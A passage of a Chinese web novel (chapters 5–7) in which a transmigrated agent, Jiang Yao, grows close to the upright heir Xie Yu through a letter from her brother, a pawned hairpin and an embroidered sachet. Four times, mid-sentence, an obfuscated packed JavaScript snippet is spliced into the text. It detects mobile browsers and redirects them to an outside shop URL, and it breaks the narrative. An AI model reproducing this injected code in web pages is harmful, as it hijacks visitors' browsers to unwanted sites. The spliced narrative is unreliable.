自从知道了自己的身份后,她便不再叫他哥哥,变得客气又生分。这让谢瑜忍不住想到江遥刚刚醒过来时望着自己的眼神,心里无端产生一丝失落。那时她的眼里是全然的信赖,被她用那样的眼神望着,很难不会产生触动。 谢瑜顿了顿,忽而说道:“其实你无须刻意改口。” 江遥抬眸,有些不解地看着他。 跳动的烛火给年轻男子清冷的面容带来了一丝暖意,他淡淡补充道:“我和你兄长既是生死与共的战友,你自然也是我的妹妹。” 江遥看着谢瑜,此时的他声线平稳,面无波澜,依旧是初见时那副情绪淡漠的样子,但她能感受到他话语中的关心。 她心下一动,略弯了弯唇,这次是真心实意的笑。 自那晚之后,她一直叫他“知白哥哥。” 而现在,望着江遥期待的眼神,谢瑜只能有些不自然地说:“还没有消息。”他从袖中拿出一封封面写着“吾妹亲启”的信,递给江遥:“我来,是想把它给你。“ 谢瑜把事情的来龙去脉写信交代给了远在寒州驻守的江望,自他离开边关,江望便接手了他手上的事务。也许是短短几日接连失去父母的消息太过沉重,江望在给谢瑜的回信中的口吻已经再不复曾经的爽朗,他在信中恳求谢瑜照顾好自己唯一的妹妹,文字悲凉,笔迹力透纸背。 江遥接过,指尖颤抖地拆开信件: “父亲在时,常携兄北望京都,思忆母亲与汝。昔年趣事,父亲未尝一日忘怀,每言及,必曰:‘待边关安定,必当上书请辞,归京共享天伦。’然天有不测风云,今父不幸离世, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491213|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母下落不明,茫茫人世,与兄血脉相连者,唯阿遥一人而已。” …… 在信件的结尾,江望写道:“一别多年,不知何日才能再见。兄只能在寒州,遥祝吾妹此生快乐无虞。” 江遥读完信件,一股强烈的悲伤涌上心间。阳光从窗子里射进来,恰好照到她的眼睛,眼前氤氲起一片水雾。她抬起头,揉了揉眼睛,想要忍住泪水。 在这个阳光分外好的日子,她却觉得心头一片阴霾。 谢瑜瞥见她水雾弥漫的眼睛,有些无措地问:“怎么了?” 很快,谢瑜就发现自己好像说错话了。 江遥眨了眨眼,泪水瞬间夺眶而出。女子强忍住的悲伤好像因为他的这一句话在一瞬间全涌上来了。 她突然抱住他,双手环上他的腰,脸埋在他的胸前,无声地哭。 她抽泣着说:“知白哥哥,我觉得我真是该死。我居然忘记了那么爱我的父母和兄长,我努力想要记起哥哥信中写到的事,却怎么也记不起来。” 江遥在现实世界中是个孤儿,从没感受过亲情。大概是人越没有什么,就越珍视什么。 纵然江遥已经不是原来的江遥,可她同样感受到了江望对妹妹深沉的感情。江遥又想到江夫人,被传送来这个世界时,原来的江遥已经从匪患的手里逃了出来,江夫人也已经身死,她没办法再去救江夫人,这也是她的遗憾。 在她抱上来的那一刻,谢瑜身形僵硬,垂在身侧的手下意识想要推开她,却在看见她哭得瑟缩的肩膀时停了下来。 良久,他终是伸出手,却掠过她的肩膀,转从高处落下,轻轻摸了下她的头。 他安抚道:“你能快乐无虞地活着,就是他们最希望看到的。” 遗忘,有时候未尝不是一种幸运。剑书的汇报十分简单,谢瑜并不知道江遥究竟经历了什么,但想来既然能把人刺激得失去记忆,那一定是被很恶劣地对待过。 谢瑜想,若是江世叔和叔母还活着,看到江遥忘却了曾经经历过的伤痛,好好地生活,也会为她开心的。 后来,回到房间的谢瑜望着自己胸前湿掉的大片衣服,第一次意识到什么是“女儿如水”。 而他那时只是无声地笑了笑,素来淡漠的眉眼不知何时被染上了些许世俗的颜色,他闭了闭眼,再重新睁开眼时又恢复了清明的眼神。 他自嘲般地低声说:“谢瑜,你真的破戒太多次了。” 明知逾矩,却还是忍不住放任。 纵然是兄妹之谊,也实非君子所为。 5. 清冷正直国公府世子5 因为江遥和寒星的到来,谢瑜原本的回京三人行成功变成了回京五人行,五人小队的最后一个目的地是当铺。 王家村几个当铺的位置恰好都在出村的必经之路上,于是一行五人便一同去了当铺。 “江姑娘要找的金簪可是十分重要?” 看着一连找了几个当铺都一无所获的江遥,剑书终于忍不住问道。 江遥的表情看上去有些难过,她轻轻点了下头,道:“这几日我的记忆逐渐恢复了些,便翻了翻之前被贼人们抢去的财物,却始终没有找到母亲最喜欢的那只金簪,我记得那是父亲亲手给母亲打的,若是以后母亲回来了,知道没有了那只金簪一定会很伤心。” “我想着许是底下的那些人没有如数上交,将簪子卖到当铺了也说不准。” 在听到“若是以后母亲回来了”那句话时,谢瑜的眸光顿了顿,想要张口说些什么,可看着她的表情,最终还是没说出口,只是在心内徒劳地叹息了一句。 也罢,也许日后她终会知道真相,也许她知道真相后会怪他,但他还是想在现在给她留一个念想。晚一天知道,她就会晚一天难过。 战场之上,谢瑜已经见过太多生命的逝去,有许多人就是为了那心中的一个希望而活。他见过中了几箭的将士为了家中的妻儿硬是扛过没有麻药拔箭的痛苦撑了下来,也见过分明伤势不重却因为收到了妻子难产而亡的消息的将士最终死去。 谢瑜太知道希望对于一个人有多重要了。他生怕,寻找母亲的下落就是江遥的唯一一个希望,更怕她知道真相后难以承受,所以选择隐瞒。 其余的人闻言,也都理解了江遥对于寻找这根簪子的执着,都上心起来。 只是却没有人发现,江遥垂眸后眼中的那一丝深意。 她不着痕迹地侧目看了眼身旁沉默的谢瑜。哎,难道从没有人告诉谢瑜,他真的很不擅长说谎吗?即便她是真的对母亲的死亡不知情,在看到谢瑜脸上现在的不忍时恐怕也明白了七八分。 不过既然她现在还是不知情的人设,那就要继续把人设进行下去。 她之所以寻找簪子,一方面是因为那是江遥母亲的遗物,她不想簪子就这样不明不白被卖掉,另一方面则是因为这样更可以显示出自己对于母亲的深厚感情,引起谢瑜的心疼。 因为谢瑜知道,她的母亲早已经不在人世,而期待母亲回来的她所做的一切都将是一场空。 但簪子究竟是否在当铺,其实江遥也不清楚,她所知道的全部信息都是根据主角的经历来的,原剧情中谢瑜根本没有遇到江遥,簪子的下落自然也无从得知。 “这便是最后一家当铺了。”在一旁带路的墨砚道。 走进最后这家汇丰典当行的时候,江遥深吸了口气,坦白来讲,她其实已经不抱希望了。 “老板,您这里有没有金簪?”江遥问道。 没想到,原本翘着腿打盹的老板闻言立马精神起来,无他,只因这金簪的价格可不是小数目,实在是个大买卖。 他登时从椅子上坐起来,四下打量了开口说话的姑娘的穿着打扮,见这姑娘虽然身穿朴素的白衣,但用料讲究,花样精细,一看就是个阔气的,笑得更灿烂了: “找金簪您可来对了,我们汇丰典当行是王家村最大的典当行,能收得起金簪这东西的也唯有我们家了。” 说着,他走向首饰房,一连串拿出了五六只金簪,放在柜台上给江遥展示:“这便是我们典当行最近收的几款簪子了。” 江遥凭着记忆里的印象仔细辨别,有些激动地将一只素面金簪拿了起来。 她弯了弯眉眼,笑着对谢瑜道:“知白哥哥,就是这只!” 她眼睛里的笑意也感染到了谢瑜,让谢瑜的唇边也扬起细微的弧度,轻轻嗯了一声。 “老板,这只金簪要多少钱?”江遥摸了摸自己身上的盘缠,问道。 老板看出了江遥对这只簪子的在意,笑眯眯地伸手比了个数。 数额之大让江遥大吃一惊:“您这是要抢钱吗?” 老板状似为难地摸了摸下巴:“哎呀,小本生意,您得体谅一下。这簪子款式新鲜,又是足金,我不过只多收了一点点利息而已。”他两根手指捏起来向江遥比划着那一点点。 见江遥不为所动,老板也不再和她分辨,反而把目光投向她身旁的谢瑜。开店多年,他一眼就看出这位气质不凡的公子虽然寡言少语,但明显是个做主儿的人。 老板讨好地说:“公子,千金难买一个喜欢呐。您看,既然这位姑娘这么喜欢这簪子,不妨由您为她买下,也好博她一笑啊?” 谢瑜点了点头,看了剑书一眼,示意对方付钱。 一般来说,剑书是个行动派,每每收到谢瑜的指令时,都是毫不犹豫地说:“交给我就好。” 可这一次,剑书有些为难地摸了摸后脑勺,压低声音对谢瑜说:“世子,我们的钱不够。” 他们这次回京,带的银两已经比之前回京多很多了,本想着他们三个糙老爷们一路上风餐露宿,随便吃点就行,想来也不会用太多钱,没想到半路上会出现意外。 因为江遥,他们这次很难得地住了附近最好的客栈,江遥每日吃的药也总是需要不少名贵药材,价格不菲。 再加上他们几人日常的开销,七七八八花下来,剩下的钱自然不够买回金簪。 谢瑜平日在边关,对物价所知甚少,但经过剑书这一提醒,显然也想到了这个问题。他难得一怔,虽然表情还是淡漠,但耳尖已经染上了一丝红色。 谢瑜:是我的问题,原来照顾女孩子,需要很多钱。 江遥没听见两人的耳语,但看见谢瑜要帮她付钱时,连忙开口道:“不不,知白哥哥,这是我母亲的簪子,应当由我买下。” 谢瑜却一把拦下了她要付钱的手,唇角微抿,眼神流露出些许不赞同:“怎么能让你付钱?” 谢瑜虽然从小甚少与女子接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491214|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但军中那些成了亲的兵士闲聊时,没少谈论娶妻之道,这其中的第一条便是:“若是同心仪的姑娘一道逛集市,就决计不能让姑娘付钱。凡是让姑娘花钱的男子,必然是要被人狠狠地唾一口。” 在谢瑜的认知里,江遥虽不是自己心仪的姑娘,但既然叫自己一句哥哥,想要什么东西,自己也必然是要为她买下的。 他伸手,摘下自己腰间挂着的玉佩,放在老板面前:“这个够吗?” 玉佩晶莹剔透,绿如春水,在阳光的照耀下散发着淡淡的光芒。 剑书和墨砚面露惊讶,正欲开口,却被谢瑜抬手制止了。 老板拿起玉佩,仔细看了下,满意地说:“这双鹤佩材质细腻,做工精当,若公子真要抵押,我可还要再给公子几贯钱。” 江遥愣了愣,说:“知白哥哥,真的不用,我自己也有钱买下簪子的。” 这些日子,江遥也依稀感觉得到,谢瑜送自己的物品样样精致,自己常喝的汤药中又有许多珍贵药材,想来是花了不少钱的。她不知道谢瑜此行究竟带了多少钱,但既然自己有钱,就不能让他拿玉佩抵账。 谢瑜微微叹了口气,他低下头,很认真地看着江遥道:“阿遥,以后你要习惯一下。” 谢瑜本人是清冷疏离的,也不喜欢说话,虽然内心正直善良,但若是在不熟悉的人面前还是会显得拒人于千里之外,就连原剧情的许远宁在刚开始接触谢瑜时都会觉得他难以接近。但是这样的人,一旦得到他的在意,就会获得无微不至的关照。 又或者说,其实他本身就是那样好的人,只是从来不表达,做得多说得少,才会让人下意识觉得冰冷。 譬如在江遥面前,他总会刻意收敛自己的气场。此时的他声音低沉轻柔,独属于他的气息轻拂过江遥脸颊,而他的漆黑瞳孔里也满是她的倒影。 两人的距离忽然被拉近,美色当前,江遥一时没反应过来,问道:“习惯什么?” 看着有些呆愣的江遥,面容沉静如水的年轻男子缓缓开口补充道:“习惯由我为你付钱。” “这是你的特权,不是你的负担。” 这样以后若是遇见肯为你付钱的男子,才不会被人轻易拐走。 他语气郑重其事,像是在军中同人讨论什么机密情报。 江遥看着这样表面这样清冷的人用同样清冷的口吻却说出如此温暖的话,觉得颇有些反差萌,忍不住弯了弯眉眼。 廊下的日光照射在年轻女子泛着柔和光晕的素色衣裙上,映衬得她眸光一片暖色,那双杏眼璀璨如星子,斑斓光影中,她睫毛微微颤动,似有蝴蝶振翅。 谢瑜的表情一瞬间有些动容。 江遥抬眸望着他,唇角轻扬,神情却有一丝落寞:“知白哥哥,你真的是一个很好很好的人。” 而后她低下头,指尖蜷缩,笑容逐渐变得苦涩。 他好到让她不忍心再去攻略他,不忍心让他爱上她之后又去承受失去她的痛苦。 6. 清冷正直国公府世子6 回京后,江遥在谢瑜和一应宗族亲眷的帮助下处理了父亲的丧礼,待一切都处理妥当之后,已经是几月之后了。 早春时节,还是有些冷的,迎面吹来的风都带着几分寒意。谢夫人算着江府和谢府的距离,想着谢瑜和江遥一行人也差不多要到了,便提前到了门口等候。 她今日选了一身石青色织金缠枝牡丹纹的褙子,内衬则是杏子黄的交领绫袄,庄重中又带着几分早春的生机。 果不其然,属于谢家的马车没多久就到了门前。 谢夫人看着从马车上下来的年轻女子,眼神里带着几分疼惜。 因着江遥还在孝期,所以仍旧穿着素色衣裙,几月不见,她身形更加纤弱,原本合身的衣衫现在都有些宽大;如墨的长发仅用一根素银簪在脑后松松绾成一个低髻,皮肤雪白,唇色浅淡。 她上前,正要朝谢夫人施礼,却忙被拉住了手。 “阿遥无需这般客气。我与你母亲是手帕交,你也算是我看着长大的孩子,江家罹难,我们谢家必得照拂一二。 既然如今你父亲的丧仪已经处理得差不多了,那你不妨就安心住在我们府中,好好休养些日子。” 江遥摇了摇头,神情郑重而认真:“还是要谢的。族人欺我力弱,欲夺我江家祖业,若非知白哥哥帮忙,阿遥必护不住祖业;而今承蒙伯母慈爱,又邀我至府中调养,阿遥心中感激不尽。” 说完,她不顾谢夫人的阻拦,朝谢夫人和谢瑜深深一拜。 谢夫人赶忙扶起江遥,摸到她冰凉的手,忙扯下身上披着的玄色妆花缎面的斗篷,给江遥披上:“虽说如今还在倒春寒,有些寒气,但毕竟已是春日,阿遥的手怎得如此冰凉?” 江遥抬起头,看到谢夫人有些难过的表情,并没有直接回答谢夫人的话,反而看了眼身上的披风,然后浅笑着安慰道: “我如今记忆已经恢复大半,忆起母亲在时,常说我惯爱偷懒,可如今我刚来这里,伯母便将我照顾得这样妥帖,这不是又给了我偷懒的机会?” “你这孩子。”谢夫人擦了擦眼角的细泪,知道江遥是在宽慰她。她和身后的谢瑜无声地对视一眼,然后又深深地叹了口气。 眼前这个年岁不大的姑娘,在短短数月间便已尝尽人情冷暖,原本健康的身体也变得虚弱不已,可她却没有怨天尤人,反而通透得令人心疼。 虽有西子病,却有琉璃心。 “伯母,久别重逢,自当高兴才是。”江遥又说道。 斯人已逝,留下的人却还要好好活着。 谢夫人身为武将家眷,自是早就懂得如此道理。 听了江遥的话,她点了点头,很快调整好情绪,随后亲热地挽起江遥的手,带着她向府中走去: “你这小人儿,心思倒是通透得很。不提那些难过的事了,快随我进府吧,伯母叫厨房给你准备了许多你爱吃的菜,这阵子我瞧着你脸又瘦了一圈,可得好好补补。” 待要走到抄手游廊的时候,江遥脚步顿了顿,回头看了看被两人落在身后的谢瑜。自到了谢府,谢夫人便一直对自己嘘寒问暖,还没顾得上同自己归家不久的儿子说话,有些担心她是怕自己难过,所以才刻意忽略谢瑜。 “哎,别管他。这小子离开家那么久也不知道多寄几封家书给我,我正生他的气呢。”谢夫人朝她抱怨着,脸上却没有怒容,反而笑意盈盈。 谢瑜在他们身后,眼中划过一丝浅淡的笑意,有些无奈地叫了句:“母亲。” 他明明每个月都有寄家书。 他口里虽这么说,但在看见江遥的表情不再因为担心母亲忽略自己而自责后,嘴角却又忍不住弯起一丝弧度。 * 江遥就这么在谢府住了下来。谢夫人为她准备的东西一应俱全,每日的饭菜也总是她喜欢的菜式,所有事务一应不需要她操心。 在这样精心的照顾下,又加上每日不断的汤药,她的身体倒真是比从前好了一些,脸上也有了些肉。 蓝雁打开监视器,看到的就是江遥在饶有兴致地编剑穗,桌子上摆了好几股丝线,她正在挑选合适的颜色。 任务进度停滞不前,目前看来谢瑜对江遥的感情还处于兄妹情阶段。而眼看就要到第二个剧情节点,也就是说谢瑜没多久就要去和原女主许远宁一同去楚州查账了,可自己的这位搭档却还在悠哉悠哉地编剑穗。 蓝雁登时感到一阵头疼,她做事一向讲究效率,遇上江遥这种细水长流的情感派攻略方式,着实有些着急。 她想了想,终是忍不住打开通讯按钮,提醒道:“江遥小姐,身为攻略组金牌员工,你难道不能趁着没人的时候,用你庞大的积分去系统空间兑换几个现成的剑穗吗?” 蓝雁:究竟是多么高级的剑穗还需要金牌员工亲自来编? 江遥已经挑选好了丝线,听到蓝雁的话微微弯了弯唇,答道:“不行喔。在其位,则谋其事,我的攻略方法就是全身心地投入。” 世上从没有无缘无故就得到的爱与真心,作为攻略组积分排行第一的江遥,攻略成功率百分之百的秘诀只有一个字:真。 江遥是标准的体验派,每进入一个世界,都会沉浸式体验人物的爱恨纠葛,投入自己的感情,因此每次任务结束都需要去公司的休养处剥离情感、淡化记忆,否则日复一日地消耗情感,人会承受不住。 此时的江遥有些生涩地编着剑穗的花样,不时蹙下眉,思考下一步该怎么编。 由于江家是武将世家,江镇远和江望又常年在外,江夫人格外宠爱幼女江遥,也没舍得让她下功夫练针织女工。所以原来的江遥不会的,如今的江遥也不能会,这编剑穗是她最近特意向谢夫人学的,还不太熟练。 蓝雁看着她慢吞吞的动作,感觉自己似乎又猜到了她的打算:“那么你现在是想通过编剑穗给自己手上弄几个伤口,然后再不经意让谢瑜发现,引起他的心疼吗?” 苦肉计嘛,素来屡试不爽,她懂。 江遥摇了摇头,笑道:“这你可是猜错了,这剑穗是我给寒星编的。” 有时候疼惜多了反而并不会转化成爱意,偶尔也需要一些比较直接的情感温暖来进行一下催化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491215|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江遥瞥了眼塌上的枕头,床头上的金丝软枕底下露出绿色的一角,那是她不久前拜托寒星帮忙去当铺赎回来的玉佩。 看到她似乎胸有成竹,那头的蓝雁也笑了笑,声音一如既往,平淡而冰冷,内容却温和:“好吧,那我就期待江遥小姐给我一些惊喜了。” 与蓝雁结束联络后,江遥开始绑剑穗上的金刚结,她表情细致认真,手上动作不停,口里却向身边的寒星询问:“现在是什么时辰了?” 寒星抬眼看了看窗外的天色:“申时了。” “居然已经是申时了,看来我要加快些速度了。”江遥喃喃道。 最好赶在谢瑜回府之前,再多做几个剑穗。 寒星怕她累病了,有些担心地劝道:“江姑娘,您前阵子白日里忙着绣荷包,晚上还要吹着冷风等世子回府,如今又忙着编剑穗,也太辛苦了些,做事还是劳逸结合的好,不如今夜就不要等世子了?” 由于江遥之前的身体实在太差,导致之前并不怎么会照顾人的寒星都学会了照料病人。在她看来,江遥什么都好,可唯独对自己的身体也太不在意了些。 寒星觉得,江遥是对生死看得特别开的人。 江遥摇了摇头,还是坚持要等。 她回忆起谢瑜如今的境遇。在江遥看来,谢瑜这个监察御史虽名为天子近臣,但实则就是皇帝的耳目。不仅要监察官员,还要四处巡查,探听消息,这实在是一个费力不讨好的官职。 因为你若是不拿出些弹劾的“业绩”,难免会被天子怪罪;但你若是尽心尽力,又会得罪诸多大臣。 没有人会喜欢一直盯着自己错处不放还要向最高领导打小报告的人,由于景国允许御史“风闻奏事”(即不必核实传闻就可以弹劾官员),有夸张的御史甚至会为了“业绩"专门去弹劾一些鸡毛蒜皮的小事,导致许多官员被无端攻击。 基于此,监察御史在朝中的名声大都不太好。 但尽管监察御史有不好的名声,景国历朝历代还是出了不少因敢于直言而得美名的监察御史的。 如今的天子景德帝是一个广开言论的君主,以谢瑜之正直,若能得遇明主,做一孤臣未尝不是他的追求。 不过,谢瑜曾是武将,如今却为文官,对于御史台的很多事还不熟悉,又主动分担了许多任务来历练学习,每日总要忙到夜深才回府。 而无论谢瑜多晚回府,江遥都一定会在府门前带着一盏灯等着,然后趁着路上的时间笑着同他说些白日里有趣的事情,谢瑜起初怕她冻坏了身体,不允许她等自己回府,但江遥很执拗,久而久之谢瑜也就不再提了。 习惯是很可怕的事情。 江遥是在努力让谢瑜习惯自己的陪伴,这种陪伴看似悄无声息,实则润物细无声,当意识到的时候,对方已然对自己产生依赖了。 所以,怎么可以半途而废呢。 江遥揉了揉酸痛的脖子,眼神却依然明亮。 谢瑜这个人情绪向来不外露,也不知道他收到自己准备的礼物会是什么反应,突然有些期待晚上的到来了。 7. 清冷正直国公府世子7 谢瑜归家时已至深夜,已经不记得这是他就任监察御史后的第几个夜晚。 月光洒下清辉,白日里繁华的街道变得昏暗又寂静,一直到谢府,府内残存的灯火才让眼前的景物渐渐清晰。 翻身下马后,守门的小厮打着瞌睡为他推开府门,谢瑜刚一进门便看到了不远处素白衣裙的女子。 江遥提着一盏灯,站在梅树下,似乎是还没察觉他的到来,正抬头对着夜空发呆,柔和的月光和她手里淡黄色的灯光交织在一起,将她清瘦的背影衬得有些孤寂。 剑书和墨砚已经很有眼色地先行离开了,一时之间,偌大的院子只剩下了她和他。 “阿遥。”谢瑜轻轻唤了她一声,漆黑眼眸中划过一丝动容。 江遥在听到他声音的瞬间便很快转过身来,看向他的时候,脸上带着灿烂的笑容。 她提起裙摆,小跑着向他过来,有些惊喜地说:“知白哥哥,你回来了!” 待江遥走近他时,谢瑜闻到了她身上的淡淡梅香,忍不住蹙了下眉。 夜里风大,这傻姑娘,也不知道究竟在这里等了多久。 谢瑜接过江遥手上的提灯,与她并肩朝前走着:“不是知会过你了,今夜会回来得晚些,怎么还站在这里等?” 他用沉静如水的眼眸望着眼前人,声线虽然依旧平稳,却多了些不易察觉的柔和。 江遥有些心虚地避开了他的眼神,回答的声音低若蚊蝇:“我愿意等的,因为只有这个时候我才能和你说上一些话。” 她低着头,两只手紧紧绞着身前的衣摆,从谢瑜的角度只能看见她雪白的脖颈,像一枝被夜露浸湿的玉簪花。 谢瑜耳力很好,自然是听到了她的话,捏着灯炳的手指紧了紧。 他刚要开口说些什么,江遥却先换了话题,方才还神情低落的人很快又弯起了唇,开始同他讲起今日的趣事,就如同往日一般。 他惯来话少,以前的夜晚都是江遥在主导话题,谢瑜淡淡应声。 好像什么事情到了她的口中都会变得非常有意思,她说自己最近在同母亲练刺绣,结果绣的鸳鸯被寒星认成了大雁; 她还说花朝节那天她原本打算出门赏花,结果因为自己突然得了风寒,只能作罢,但是又因为好几日闷在屋里养病,她的女工水平突飞猛进,已经可以把剑穗编得有模有样了,所以也很开心。 也是在这时,谢瑜才意识到,江遥好像很少和谢瑜倾诉自己不开心的事情,每次同他提起自己的一天,她总是笑着说府里什么都好,快乐得就像是那些同她一样年纪的、不经世事的闺阁千金们,以至于有时候谢瑜都忘记了她其实是个刚经历过大难的人。 谢瑜看着眼前的江遥,她虽然眉眼带笑,很努力地在表现自己的好心情,但两只手不自觉抓着衣摆。 这是她心情不好时惯有的动作。 骤然失去双亲,也没有记忆,独自一人来到陌生的府邸,她应该很孤独吧,怎么会真的像她说得那样快乐。 谢瑜在心内轻叹了口气,责怪自己的疏忽。既然被她称呼一句“哥哥”,为人兄长,又怎么能这样不在意妹妹的情绪。 做哥哥,他真的欠缺太多了。 他垂了垂眸,倏而停住脚步。 江遥也随即停下,有些好奇地看向他。 只见青年斟酌着开口道:“阿遥,是我的错。我以后会早些回来的。” 起码不会再让你在冷风中受冻,只为了同我多说些话。 听到她的话,江遥眼中的笑意旋即真切了几分,同他走着时,连脚步都轻快了些。 看得谢瑜的心情也连带着好了起来。 晚来寂静,耳边只有风吹叶子的沙沙声和少女清脆的讲话声,梅树上的花瓣被几缕风带到了江遥的鬓发上。 小姑娘一边絮絮叨叨地向他炫耀自己刺绣技术的进步神速,一边歪着头想要摘走自己头上的花瓣。 偏偏有几片花瓣格外顽固,江遥看不见,只能听着谢瑜的指挥胡乱动手,她越想摘下来,反倒把花瓣越往头发深处里塞,眼看头发都被她扯得有些凌乱,谢瑜忍不住抬手,轻轻替她摘下了那几片花瓣。 他手落下的同时,江遥的视线刚好看过来。 他们的距离还保持在刚刚的距离,有些近,彼此之间呼吸可闻,眼前女子面容瓷白,唇色微微发粉,颤动的睫毛如同振翅欲飞的蝴蝶,一双好看的杏眼里满是他的倒影,却并没有直视他。 宛若仙子。 她望着他手上摘下来的花瓣,又弯了弯眉眼,浅笑着感叹道:“这讨厌的花瓣终于被摘下来了。” 谢瑜怔愣了片刻。 “知白哥哥?”少女带着疑问的声音传来,谢瑜这才回过神,身侧垂下的手还捏着刚摘下来的花瓣,不自觉捻了捻。 “你方才说什么?”谢瑜问道。 江遥用葱白的手指指了指寂寥的夜空,重复道:“我说,今晚星星不多,明日可能要落雨,知白哥哥要备好伞呀。” 谢瑜顺着江遥手指的方向,抬头看了看,果见夜空中星辰寥落,而当他垂眸时,恰好看到少女清亮的眼睛,像是有人将湖水揉碎,眸光流转间,水波荡漾。 谢瑜轻提唇角,低低地说了声:“原来没有星星吗,可我怎么看见了满天星辰。” 没有星星不要紧,他已经在她眼中看见了漫天星辰。 他声线清越,如玉石相击,又似春日里吹过的风,带着恰到好处的凉意。 江遥愣了一下,却是没反应过来他的意思,她又抬头看了眼夜空确定了一下,发出灵魂的质疑:“难道我的眼睛出现幻觉了吗?” 谢瑜又笑了一下,摸了摸她的头,没再解释什么。 后来的谢瑜始终记得那个夜晚,记得那晚手上残留的梅花的香味,也记得满身梅香的女子眼中的星辰。 那时他才想到,也许那几片花瓣根本没有摘下来,反而落到了他的心上,一停经年,挥之不去。 两人一同走到江遥住的漱月阁时,江遥没有进门,反而从袖中拿出了两个锦囊,一个为墨色,上面用银线绣了宝剑纹,另一个则为黛青色,上面绣了翠竹。 江遥将两个锦囊递给谢瑜:“我差点忘了,锦囊里装了我为墨砚和剑书编的与锦囊同色系的剑穗,劳烦知白哥哥帮我送给他们吧。” 谢瑜接过锦囊,饶是他不懂绣工,也能看出锦囊上的绣样针脚青涩,但同样也能看出制作者的用心。 没想到她竟然一连做了这么多剑穗。 他忽地想到前几日。那天来汇报的时候,寒星剑上新换了剑穗,银色的剑穗挂在剑柄上,明晃晃的,十分醒目。 汇报结束后,剑书忍不住调侃道:“寒星,一起出任务那么久,我怎么不知道你有挂剑穗的习惯?” 一向沉稳的寒星和江遥待久了,好像也被感染了些活泼。她有些得意地将剑举着,在众人面前转了一圈,好让大家都能看清剑穗的样子,末了才说:“好看吧,这是江姑娘特意为我做的。” 一听是江遥做的,剑书和墨砚登时来了兴趣,纷纷羡慕地让寒星转告江遥,说希望江遥也能给自己做一个。 而现在,看着自己手中的两个锦囊,谢瑜神色未变,周身的空气却冷了些。他面上平静无波地答道:“好。”心里却起了些波澜。 很好,所以,是他们三个人都有,只有自己没有? 他试图将视线从锦囊上移开,然而那锦囊上似乎有什么吸引力一般,让他忍不住看了又看。 “知白哥哥,你怎么了?” 江遥忍着笑意问道。 谢瑜吃醋的表现太可爱了,本来话就少,没想到一吃醋话就会更少。 只见年轻男子轻轻摇头,将两个锦囊塞进袖中后,他抬头看了眼天色,方道:“你风寒初愈,不宜劳累,早些去休息吧。” 关心的语气一如平常。 这是这么快就把自己哄好了? 江遥觉得不能再逗谢瑜了,于是又从怀里拿出一个玄色的香囊,她双手捧着香囊,递到谢瑜面前,声音轻柔地说:“这香囊我足足绣了一个多月,知白哥哥可别嫌弃呀。” 谢瑜本来些许失落的心情,因为她的话瞬间好转,眼底划过很浅的笑意:“怎么会,你如此用心,我当感谢才是。” 接过香囊后,他低头仔细端详。 与送给剑书二人的花样不同,这香囊的图案似乎更复杂些,光是丝线就换了好几种,以墨色为底,金线点睛,绣了一只蹲踞着的狗,它昂首挺胸,目光警醒,但因为绣的人绣工没有那样精湛,又反而给小狗更加了几分憨态可爱。 谢瑜歪了下头,有些不确定地问道:“这绣的是狗?” 谢瑜:我应该没像寒星一样,把鸳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491216|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸯认成大雁吧。可既然是狗,为何从未见过这种模样的呢? “对,就是狗。知白哥哥不觉得它很像你吗?”江遥看了眼谢瑜,又和香囊上正气凛然的小狗做了下比较,然后深以为然地点了点头。 像,她绣得真是太像了。 在江遥眼中,如果把几个男主比作小动物,散漫倦怠又喜洁的宋清时应该是白色布偶猫,张扬肆意又阳光真诚的楚明霄应该是萨摩耶,而与清冷正直的谢瑜最适配的动物则是德牧。 她对谢瑜解释道:“这是我在一本博物志上了解到的一种牧羊犬,是忠诚与守护的代表。在阿遥心中,知白哥哥与这种狗一样,虽外表威严,可内心却赤诚。” “阿遥以此香囊赠哥哥,愿它伴你长夜安宁。” 她语气虽轻,却句句真诚。说完祝愿后,她直直地望着谢瑜,等待他的回应。 彼时的谢瑜尚不知道以后的时代会流行各种动物塑,听到这样的比喻,觉得有些新奇。 